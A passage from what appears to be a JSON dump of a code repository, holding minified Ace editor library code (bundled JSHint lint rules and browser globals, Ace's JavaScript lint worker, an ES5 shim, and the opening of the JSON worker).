]+$/},{}],\"/node_modules/jshint/src/state.js\":[function(e,t,n){\"use strict\";var r=e(\"./name-stack.js\"),i={syntax:{},isStrict:function(){return this.directive[\"use strict\"]||this.inClassBody||this.option.module},inMoz:function(){return this.option.moz},inESNext:function(){return this.option.moz||this.option.esnext},inES5:function(){return!this.option.es3},inES3:function(){return this.option.es3},reset:function(){this.tokens={prev:null,next:null,curr:null},this.option={},this.funct=null,this.ignored={},this.directive={},this.jsonMode=!1,this.jsonWarnings=[],this.lines=[],this.tab=\"\",this.cache={},this.ignoredLines={},this.forinifcheckneeded=!1,this.nameStack=new r,this.inClassBody=!1,this.ignoreLinterErrors=!1}};n.state=i},{\"./name-stack.js\":\"/node_modules/jshint/src/name-stack.js\"}],\"/node_modules/jshint/src/style.js\":[function(e,t,n){\"use strict\";n.register=function(e){e.on(\"Identifier\",function(n){if(e.getOption(\"proto\"))return;n.name===\"__proto__\"&&e.warn(\"W103\",{line:n.line,\"char\":n.char,data:[n.name]})}),e.on(\"Identifier\",function(n){if(e.getOption(\"iterator\"))return;n.name===\"__iterator__\"&&e.warn(\"W104\",{line:n.line,\"char\":n.char,data:[n.name]})}),e.on(\"Identifier\",function(n){if(!e.getOption(\"camelcase\"))return;n.name.replace(/^_+|_+$/g,\"\").indexOf(\"_\")>-1&&!n.name.match(/^[A-Z0-9_]*$/)&&e.warn(\"W106\",{line:n.line,\"char\":n.from,data:[n.name]})}),e.on(\"String\",function(n){var r=e.getOption(\"quotmark\"),i;if(!r)return;r===\"single\"&&n.quote!==\"'\"&&(i=\"W109\"),r===\"double\"&&n.quote!=='\"'&&(i=\"W108\"),r===!0&&(e.getCache(\"quotmark\")||e.setCache(\"quotmark\",n.quote),e.getCache(\"quotmark\")!==n.quote&&(i=\"W110\")),i&&e.warn(i,{line:n.line,\"char\":n.char})}),e.on(\"Number\",function(n){n.value.charAt(0)===\".\"&&e.warn(\"W008\",{line:n.line,\"char\":n.char,data:[n.value]}),n.value.substr(n.value.length-1)===\".\"&&e.warn(\"W047\",{line:n.line,\"char\":n.char,data:[n.value]}),/^00+/.test(n.value)&&e.warn(\"W046\",{line:n.line,\"char\":n.char,data:[n.value]})}),e.on(\"String\",function(n){var r=/^(?:javascript|jscript|ecmascript|vbscript|livescript)\\s*:/i;if(e.getOption(\"scripturl\"))return;r.test(n.value)&&e.warn(\"W107\",{line:n.line,\"char\":n.char})})}},{}],\"/node_modules/jshint/src/vars.js\":[function(e,t,n){\"use strict\";n.reservedVars={arguments:!1,NaN:!1},n.ecmaIdentifiers={3:{Array:!1,Boolean:!1,Date:!1,decodeURI:!1,decodeURIComponent:!1,encodeURI:!1,encodeURIComponent:!1,Error:!1,eval:!1,EvalError:!1,Function:!1,hasOwnProperty:!1,isFinite:!1,isNaN:!1,Math:!1,Number:!1,Object:!1,parseInt:!1,parseFloat:!1,RangeError:!1,ReferenceError:!1,RegExp:!1,String:!1,SyntaxError:!1,TypeError:!1,URIError:!1},5:{JSON:!1},6:{Map:!1,Promise:!1,Proxy:!1,Reflect:!1,Set:!1,Symbol:!1,WeakMap:!1,WeakSet:!1}},n.browser={Audio:!1,Blob:!1,addEventListener:!1,applicationCache:!1,atob:!1,blur:!1,btoa:!1,cancelAnimationFrame:!1,CanvasGradient:!1,CanvasPattern:!1,CanvasRenderingContext2D:!1,CSS:!1,clearInterval:!1,clearTimeout:!1,close:!1,closed:!1,Comment:!1,CustomEvent:!1,DOMParser:!1,defaultStatus:!1,Document:!1,document:!1,DocumentFragment:!1,Element:!1,ElementTimeControl:!1,Event:!1,event:!1,fetch:!1,FileReader:!1,FormData:!1,focus:!1,frames:!1,getComputedStyle:!1,HTMLElement:!1,HTMLAnchorElement:!1,HTMLBaseElement:!1,HTMLBlockquoteElement:!1,HTMLBodyElement:!1,HTMLBRElement:!1,HTMLButtonElement:!1,HTMLCanvasElement:!1,HTMLCollection:!1,HTMLDirectoryElement:!1,HTMLDivElement:!1,HTMLDListElement:!1,HTMLFieldSetElement:!1,HTMLFontElement:!1,HTMLFormElement:!1,HTMLFrameElement:!1,HTMLFrameSetElement:!1,HTMLHeadElement:!1,HTMLHeadingElement:!1,HTMLHRElement:!1,HTMLHtmlElement:!1,HTMLIFrameElement:!1,HTMLImageElement:!1,HTMLInputElement:!1,HTMLIsIndexElement:!1,HTMLLabelElement:!1,HTMLLayerElement:!1,HTMLLegendElement:!1,HTMLLIElement:!1,HTMLLinkElement:!1,HTMLMapElement:!1,HTMLMenuElement:!1,HTMLMetaElement:!1,HTMLModElement:!1,HTMLObjectElement:!1,HTMLOListElement:!1,HTMLOptGroupElement:!1,HTMLOptionElement:!1,HTMLParagraphElement:!1,HTMLParamElement:!1,HTMLPreElement:!1,HTMLQuoteElement:!1,HTMLScriptElement:!1,HTMLSelectElement:!1,HTMLStyleElement:!1,HTMLTableCaptionElement:!1,HTMLTableCellElement:!1,HTMLTableColElement:!1,HTMLTableElement:!1,HTMLTableRowElement:!1,HTMLTableSectionElement:!1,HTMLTemplateElement:!1,HTMLTextAreaElement:!1,HTMLTitleElement:!1,HTMLUListElement:!1,HTMLVideoElement:!1,history:!1,Image:!1,Intl:!1,length:!1,localStorage:!1,location:!1,matchMedia:!1,MessageChannel:!1,MessageEvent:!1,MessagePort:!1,MouseEvent:!1,moveBy:!1,moveTo:!1,MutationObserver:!1,name:!1,Node:!1,NodeFilter:!1,NodeList:!1,Notification:!1,navigator:!1,onbeforeunload:!0,onblur:!0,onerror:!0,onfocus:!0,onload:!0,onresize:!0,onunload:!0,open:!1,openDatabase:!1,opener:!1,Option:!1,parent:!1,performance:!1,print:!1,Range:!1,requestAnimationFrame:!1,removeEventListener:!1,resizeBy:!1,resizeTo:!1,screen:!1,scroll:!1,scrollBy:!1,scrollTo:!1,sessionStorage:!1,setInterval:!1,setTimeout:!1,SharedWorker:!1,status:!1,SVGAElement:!1,SVGAltGlyphDefElement:!1,SVGAltGlyphElement:!1,SVGAltGlyphItemElement:!1,SVGAngle:!1,SVGAnimateColorElement:!1,SVGAnimateElement:!1,SVGAnimateMotionElement:!1,SVGAnimateTransformElement:!1,SVGAnimatedAngle:!1,SVGAnimatedBoolean:!1,SVGAnimatedEnumeration:!1,SVGAnimatedInteger:!1,SVGAnimatedLength:!1,SVGAnimatedLengthList:!1,SVGAnimatedNumber:!1,SVGAnimatedNumberList:!1,SVGAnimatedPathData:!1,SVGAnimatedPoints:!1,SVGAnimatedPreserveAspectRatio:!1,SVGAnimatedRect:!1,SVGAnimatedString:!1,SVGAnimatedTransformList:!1,SVGAnimationElement:!1,SVGCSSRule:!1,SVGCircleElement:!1,SVGClipPathElement:!1,SVGColor:!1,SVGColorProfileElement:!1,SVGColorProfileRule:!1,SVGComponentTransferFunctionElement:!1,SVGCursorElement:!1,SVGDefsElement:!1,SVGDescElement:!1,SVGDocument:!1,SVGElement:!1,SVGElementInstance:!1,SVGElementInstanceList:!1,SVGEllipseElement:!1,SVGExternalResourcesRequired:!1,SVGFEBlendElement:!1,SVGFEColorMatrixElement:!1,SVGFEComponentTransferElement:!1,SVGFECompositeElement:!1,SVGFEConvolveMatrixElement:!1,SVGFEDiffuseLightingElement:!1,SVGFEDisplacementMapElement:!1,SVGFEDistantLightElement:!1,SVGFEFloodElement:!1,SVGFEFuncAElement:!1,SVGFEFuncBElement:!1,SVGFEFuncGElement:!1,SVGFEFuncRElement:!1,SVGFEGaussianBlurElement:!1,SVGFEImageElement:!1,SVGFEMergeElement:!1,SVGFEMergeNodeElement:!1,SVGFEMorphologyElement:!1,SVGFEOffsetElement:!1,SVGFEPointLightElement:!1,SVGFESpecularLightingElement:!1,SVGFESpotLightElement:!1,SVGFETileElement:!1,SVGFETurbulenceElement:!1,SVGFilterElement:!1,SVGFilterPrimitiveStandardAttributes:!1,SVGFitToViewBox:!1,SVGFontElement:!1,SVGFontFaceElement:!1,SVGFontFaceFormatElement:!1,SVGFontFaceNameElement:!1,SVGFontFaceSrcElement:!1,SVGFontFaceUriElement:!1,SVGForeignObjectElement:!1,SVGGElement:!1,SVGGlyphElement:!1,SVGGlyphRefElement:!1,SVGGradientElement:!1,SVGHKernElement:!1,SVGICCColor:!1,SVGImageElement:!1,SVGLangSpace:!1,SVGLength:!1,SVGLengthList:!1,SVGLineElement:!1,SVGLinearGradientElement:!1,SVGLocatable:!1,SVGMPathElement:!1,SVGMarkerElement:!1,SVGMaskElement:!1,SVGMatrix:!1,SVGMetadataElement:!1,SVGMissingGlyphElement:!1,SVGNumber:!1,SVGNumberList:!1,SVGPaint:!1,SVGPathElement:!1,SVGPathSeg:!1,SVGPathSegArcAbs:!1,SVGPathSegArcRel:!1,SVGPathSegClosePath:!1,SVGPathSegCurvetoCubicAbs:!1,SVGPathSegCurvetoCubicRel:!1,SVGPathSegCurvetoCubicSmoothAbs:!1,SVGPathSegCurvetoCubicSmoothRel:!1,SVGPathSegCurvetoQuadraticAbs:!1,SVGPathSegCurvetoQuadraticRel:!1,SVGPathSegCurvetoQuadraticSmoothAbs:!1,SVGPathSegCurvetoQuadraticSmoothRel:!1,SVGPathSegLinetoAbs:!1,SVGPathSegLinetoHorizontalAbs:!1,SVGPathSegLinetoHorizontalRel:!1,SVGPathSegLinetoRel:!1,SVGPathSegLinetoVerticalAbs:!1,SVGPathSegLinetoVerticalRel:!1,SVGPathSegList:!1,SVGPathSegMovetoAbs:!1,SVGPathSegMovetoRel:!1,SVGPatternElement:!1,SVGPoint:!1,SVGPointList:!1,SVGPolygonElement:!1,SVGPolylineElement:!1,SVGPreserveAspectRatio:!1,SVGRadialGradientElement:!1,SVGRect:!1,SVGRectElement:!1,SVGRenderingIntent:!1,SVGSVGElement:!1,SVGScriptElement:!1,SVGSetElement:!1,SVGStopElement:!1,SVGStringList:!1,SVGStylable:!1,SVGStyleElement:!1,SVGSwitchElement:!1,SVGSymbolElement:!1,SVGTRefElement:!1,SVGTSpanElement:!1,SVGTests:!1,SVGTextContentElement:!1,SVGTextElement:!1,SVGTextPathElement:!1,SVGTextPositioningElement:!1,SVGTitleElement:!1,SVGTransform:!1,SVGTransformList:!1,SVGTransformable:!1,SVGURIReference:!1,SVGUnitTypes:!1,SVGUseElement:!1,SVGVKernElement:!1,SVGViewElement:!1,SVGViewSpec:!1,SVGZoomAndPan:!1,Text:!1,TextDecoder:!1,TextEncoder:!1,TimeEvent:!1,top:!1,URL:!1,WebGLActiveInfo:!1,WebGLBuffer:!1,WebGLContextEvent:!1,WebGLFramebuffer:!1,WebGLProgram:!1,WebGLRenderbuffer:!1,WebGLRenderingContext:!1,WebGLShader:!1,WebGLShaderPrecisionFormat:!1,WebGLTexture:!1,WebGLUniformLocation:!1,WebSocket:!1,window:!1,Worker:!1,XDomainRequest:!1,XMLHttpRequest:!1,XMLSerializer:!1,XPathEvaluator:!1,XPathException:!1,XPathExpression:!1,XPathNamespace:!1,XPathNSResolver:!1,XPathResult:!1},n.devel={alert:!1,confirm:!1,console:!1,Debug:!1,opera:!1,prompt:!1},n.worker={importScripts:!0,postMessage:!0,self:!0,FileReaderSync:!0},n.nonstandard={escape:!1,unescape:!1},n.couch={require:!1,respond:!1,getRow:!1,emit:!1,send:!1,start:!1,sum:!1,log:!1,exports:!1,module:!1,provides:!1},n.node={__filename:!1,__dirname:!1,GLOBAL:!1,global:!1,module:!1,require:!1,Buffer:!0,console:!0,exports:!0,process:!0,setTimeout:!0,clearTimeout:!0,setInterval:!0,clearInterval:!0,setImmediate:!0,clearImmediate:!0},n.browserify={__filename:!1,__dirname:!1,global:!1,module:!1,require:!1,Buffer:!0,exports:!0,process:!0},n.phantom={phantom:!0,require:!0,WebPage:!0,console:!0,exports:!0},n.qunit={asyncTest:!1,deepEqual:!1,equal:!1,expect:!1,module:!1,notDeepEqual:!1,notEqual:!1,notPropEqual:!1,notStrictEqual:!1,ok:!1,propEqual:!1,QUnit:!1,raises:!1,start:!1,stop:!1,strictEqual:!1,test:!1,\"throws\":!1},n.rhino={defineClass:!1,deserialize:!1,gc:!1,help:!1,importClass:!1,importPackage:!1,java:!1,load:!1,loadClass:!1,Packages:!1,print:!1,quit:!1,readFile:!1,readUrl:!1,runCommand:!1,seal:!1,serialize:!1,spawn:!1,sync:!1,toint32:!1,version:!1},n.shelljs={target:!1,echo:!1,exit:!1,cd:!1,pwd:!1,ls:!1,find:!1,cp:!1,rm:!1,mv:!1,mkdir:!1,test:!1,cat:!1,sed:!1,grep:!1,which:!1,dirs:!1,pushd:!1,popd:!1,env:!1,exec:!1,chmod:!1,config:!1,error:!1,tempdir:!1},n.typed={ArrayBuffer:!1,ArrayBufferView:!1,DataView:!1,Float32Array:!1,Float64Array:!1,Int16Array:!1,Int32Array:!1,Int8Array:!1,Uint16Array:!1,Uint32Array:!1,Uint8Array:!1,Uint8ClampedArray:!1},n.wsh={ActiveXObject:!0,Enumerator:!0,GetObject:!0,ScriptEngine:!0,ScriptEngineBuildVersion:!0,ScriptEngineMajorVersion:!0,ScriptEngineMinorVersion:!0,VBArray:!0,WSH:!0,WScript:!0,XDomainRequest:!0},n.dojo={dojo:!1,dijit:!1,dojox:!1,define:!1,require:!1},n.jquery={$:!1,jQuery:!1},n.mootools={$:!1,$$:!1,Asset:!1,Browser:!1,Chain:!1,Class:!1,Color:!1,Cookie:!1,Core:!1,Document:!1,DomReady:!1,DOMEvent:!1,DOMReady:!1,Drag:!1,Element:!1,Elements:!1,Event:!1,Events:!1,Fx:!1,Group:!1,Hash:!1,HtmlTable:!1,IFrame:!1,IframeShim:!1,InputValidator:!1,instanceOf:!1,Keyboard:!1,Locale:!1,Mask:!1,MooTools:!1,Native:!1,Options:!1,OverText:!1,Request:!1,Scroller:!1,Slick:!1,Slider:!1,Sortables:!1,Spinner:!1,Swiff:!1,Tips:!1,Type:!1,typeOf:!1,URI:!1,Window:!1},n.prototypejs={$:!1,$$:!1,$A:!1,$F:!1,$H:!1,$R:!1,$break:!1,$continue:!1,$w:!1,Abstract:!1,Ajax:!1,Class:!1,Enumerable:!1,Element:!1,Event:!1,Field:!1,Form:!1,Hash:!1,Insertion:!1,ObjectRange:!1,PeriodicalExecuter:!1,Position:!1,Prototype:!1,Selector:!1,Template:!1,Toggle:!1,Try:!1,Autocompleter:!1,Builder:!1,Control:!1,Draggable:!1,Draggables:!1,Droppables:!1,Effect:!1,Sortable:!1,SortableObserver:!1,Sound:!1,Scriptaculous:!1},n.yui={YUI:!1,Y:!1,YUI_config:!1},n.mocha={mocha:!1,describe:!1,xdescribe:!1,it:!1,xit:!1,context:!1,xcontext:!1,before:!1,after:!1,beforeEach:!1,afterEach:!1,suite:!1,test:!1,setup:!1,teardown:!1,suiteSetup:!1,suiteTeardown:!1},n.jasmine={jasmine:!1,describe:!1,xdescribe:!1,it:!1,xit:!1,beforeEach:!1,afterEach:!1,setFixtures:!1,loadFixtures:!1,spyOn:!1,expect:!1,runs:!1,waitsFor:!1,waits:!1,beforeAll:!1,afterAll:!1,fail:!1,fdescribe:!1,fit:!1}},{}]},{},[\"/node_modules/jshint/src/jshint.js\"])}),ace.define(\"ace/mode/javascript_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/javascript/jshint\"],function(require,exports,module){\"use strict\";function startRegex(e){return RegExp(\"^(\"+e.join(\"|\")+\")\")}var oop=require(\"../lib/oop\"),Mirror=require(\"../worker/mirror\").Mirror,lint=require(\"./javascript/jshint\").JSHINT,disabledWarningsRe=startRegex([\"Bad for in variable '(.+)'.\",'Missing \"use strict\"']),errorsRe=startRegex([\"Unexpected\",\"Expected \",\"Confusing (plus|minus)\",\"\\\\{a\\\\} unterminated regular expression\",\"Unclosed \",\"Unmatched \",\"Unbegun comment\",\"Bad invocation\",\"Missing space after\",\"Missing operator at\"]),infoRe=startRegex([\"Expected an assignment\",\"Bad escapement of EOL\",\"Unexpected comma\",\"Unexpected space\",\"Missing radix parameter.\",\"A leading decimal point can\",\"\\\\['{a}'\\\\] is better written in dot notation.\",\"'{a}' used out of scope\"]),JavaScriptWorker=exports.JavaScriptWorker=function(e){Mirror.call(this,e),this.setTimeout(500),this.setOptions()};oop.inherits(JavaScriptWorker,Mirror),function(){this.setOptions=function(e){this.options=e||{esnext:!0,moz:!0,devel:!0,browser:!0,node:!0,laxcomma:!0,laxbreak:!0,lastsemic:!0,onevar:!1,passfail:!1,maxerr:100,expr:!0,multistr:!0,globalstrict:!0},this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.changeOptions=function(e){oop.mixin(this.options,e),this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.isValidJS=function(str){try{eval(\"throw 0;\"+str)}catch(e){if(e===0)return!0}return!1},this.onUpdate=function(){var e=this.doc.getValue();e=e.replace(/^#!.*\\n/,\"\\n\");if(!e)return this.sender.emit(\"annotate\",[]);var t=[],n=this.isValidJS(e)?\"warning\":\"error\";lint(e,this.options);var r=lint.errors,i=!1;for(var s=0;s<r.length;s++){var o=r[s];if(!o)continue;var u=o.raw,a=\"warning\";if(u==\"Missing semicolon.\"){var f=o.evidence.substr(o.character);f=f.charAt(f.search(/\\S/)),n==\"error\"&&f&&/[\\w\\d{(['\"]/.test(f)?(o.reason='Missing \";\" before statement',a=\"error\"):a=\"info\"}else{if(disabledWarningsRe.test(u))continue;infoRe.test(u)?a=\"info\":errorsRe.test(u)?(i=!0,a=n):u==\"'{a}' is not defined.\"?a=\"warning\":u==\"'{a}' is defined but never used.\"&&(a=\"info\")}t.push({row:o.line-1,column:o.character-1,text:o.reason,type:a,raw:u}),i}this.sender.emit(\"annotate\",t)}}.call(JavaScriptWorker.prototype)}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "antSword/static/libs/ace/worker-json.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in 